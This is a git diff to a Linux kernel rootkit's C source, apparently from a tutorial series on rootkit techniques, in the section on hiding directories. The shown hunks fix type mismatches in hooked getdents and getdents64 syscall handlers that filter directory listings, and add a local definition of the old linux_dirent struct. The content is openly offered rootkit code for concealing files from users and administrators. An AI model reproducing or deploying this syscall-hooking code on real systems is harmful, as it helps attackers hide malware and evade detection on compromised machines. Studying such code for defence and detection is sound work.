diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
index ac66cdd..d691e9a 100644
--- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
+++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
@@ -113,11 +113,11 @@
 {
     /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
     // int fd = regs->di;
-    struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
+    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
     // int count = regs->dx;
 
     /* We will need these intermediate structures for looping through the directory listing */
-    struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
+    struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
     unsigned long offset = 0;
 
     /* We first have to actually call the real sys_getdents syscall and save it so that we can
@@ -185,7 +185,7 @@
 }
 #else
 static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count);
-static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent *dirent, unsigned int count);
+static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count);
 
 static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count)
 {
@@ -258,6 +258,14 @@
 
 static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count)
 {
+    /* This is an old structure that isn't included in the kernel headers anymore, so we 
+     * have to declare it ourselves */
+    struct linux_dirent {
+        unsigned long d_ino;
+        unsigned long d_off;
+        unsigned short d_reclen;
+        char d_name[];
+    };
     /* We will need these intermediate structures for looping through the directory listing */
     struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
     unsigned long offset = 0;